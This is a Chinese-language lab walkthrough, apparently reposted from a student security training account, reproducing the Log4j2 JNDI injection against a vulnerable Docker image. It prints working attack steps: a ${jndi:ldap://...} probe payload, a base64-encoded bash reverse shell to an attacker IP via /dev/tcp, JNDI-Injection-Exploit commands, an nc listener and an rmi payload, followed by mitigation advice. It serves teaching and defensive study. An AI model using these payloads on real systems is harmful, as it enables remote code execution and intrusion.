【学习园地】log4j2快速复现

admin 2023年3月15日04:04:02评论74 views字数 1549阅读5分9秒阅读模式

【学习园地】log4j2快速复现
【学习园地】log4j2快速复现

【学习园地】log4j2快速复现

1

log4j2



ApacheLog4j2是一个开源的Java日志框架,被广泛地应用在中间件、开发框架与Web应用中。是对Log4j的升级版本因此带来了一些重大的提升,主要有:
异常处理,在log4j2中提供了一些异常处理机制
性能提升,log4j2相较于log4j有明显18倍性能提升
自动重载配置,提供自动刷新参数配置,在生产上可以动态的修改日志的级别而不需要重启应用
无垃圾机制,在大部分情况下可以使用其设计的一套无垃圾机制,避免频繁的日志收集导致的 jvm gc


2


漏洞概述




该漏洞是由于Log4j2某些功能存在递归解析功能,攻击者通过发送特定恶意数据包,可在目标服务器上执行任意代码
log4j2是调用了jndi来查询一些信息然后记录到了日志里面。(jndi是java一套资源和使用的接口,用来将各种资源做整合)


3
环境部署


利用docker拉取log4j2的镜像并对其进行部署

,使用命令拉取镜像

docker pull vulfocus/log4j2-rce-2021-12-09

再使用命令进行部署

docker run -tid -p 38080:8080 vulfocus/log4j2-rce-2021-12-09

之后可以访问下38080端口看一下我们部署的怎么样

【学习园地】log4j2快速复现

可以发现我们的log4j2漏洞已经部署成功



4
复现过程


首先对页面进行抓包


【学习园地】log4j2快速复现

这里面我们从payload参数进行操作,首先我们访问dnslog http://dnslog.cn/ 申请一个subdomain来进行检测,

【学习园地】log4j2快速复现

修改payload的参数${jndi:ldap://你申请到的url}再进行传参(注意!这个参数必须经过url编码


【学习园地】log4j2快速复现

【学习园地】log4j2快速复现

刷新页面,只要能拿到该回显就可以证明存在一个jndi注入

攻击机内部署

JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar

这个可以在github上进行下载

之后我们写一段bash命令并对它进行base64加密

bash -i >& /dev/tcp/你攻击机的IP/攻击机负责监听的端口 0>&1

之后我们可以在攻击机使用JNDI-Injection-Exploit

命令如下

java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "bash -c {echo,编辑好的bash命令经过base64加密的内容}|{base64,-d}|{bash,-i}" -A 攻击机IP

【学习园地】log4j2快速复现

得到了5种exp,这并不是都有效果,由于JAVA版本的不同需要进行尝试,可以写一个脚本进行fuzz爆破,之后我们再开启一个端口监听,这个端口需要和我们前面构建bash命令的端口一致

nc -lvvp 5323

【学习园地】log4j2快速复现

之后我们对所有exp进行尝试,其方法如下

将JNDI-Injection-Exploit给我们的exp放入

${jndi:exp填入此位置}

例如

${jndi:rmi://192.000.000.000:1099/klrglv}

之后我们再传入payload内

之后就可以发现成功上线了

【学习园地】log4j2快速复现


5
防御措施


更新版本!

Apache Log4j 2.x <= 2.14.1


在不需要的情况下可以关闭log4j相关功能


设置jvm参数 “-Dlog4j2.formatMsgNoLookups=true”


设置“log4j2.formatMsgNoLookups=True”


系统环境变量“FORMAT_MESSAGES_PATTERN_DISABLE_LOOKUPS”设置为“true”


关闭对应应用的网络外连,禁止主动外连





大学生网络安全尖锋训练营

邮箱|[email protected] 
地址|北京市海淀区奥北科技园20号楼5层

【学习园地】log4j2快速复现





原文始发于微信公众号(大学生网络安全尖锋训练营):【学习园地】log4j2快速复现

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2023年3月15日04:04:02
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   【学习园地】log4j2快速复现http://cn-sec.com/archives/1228157.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息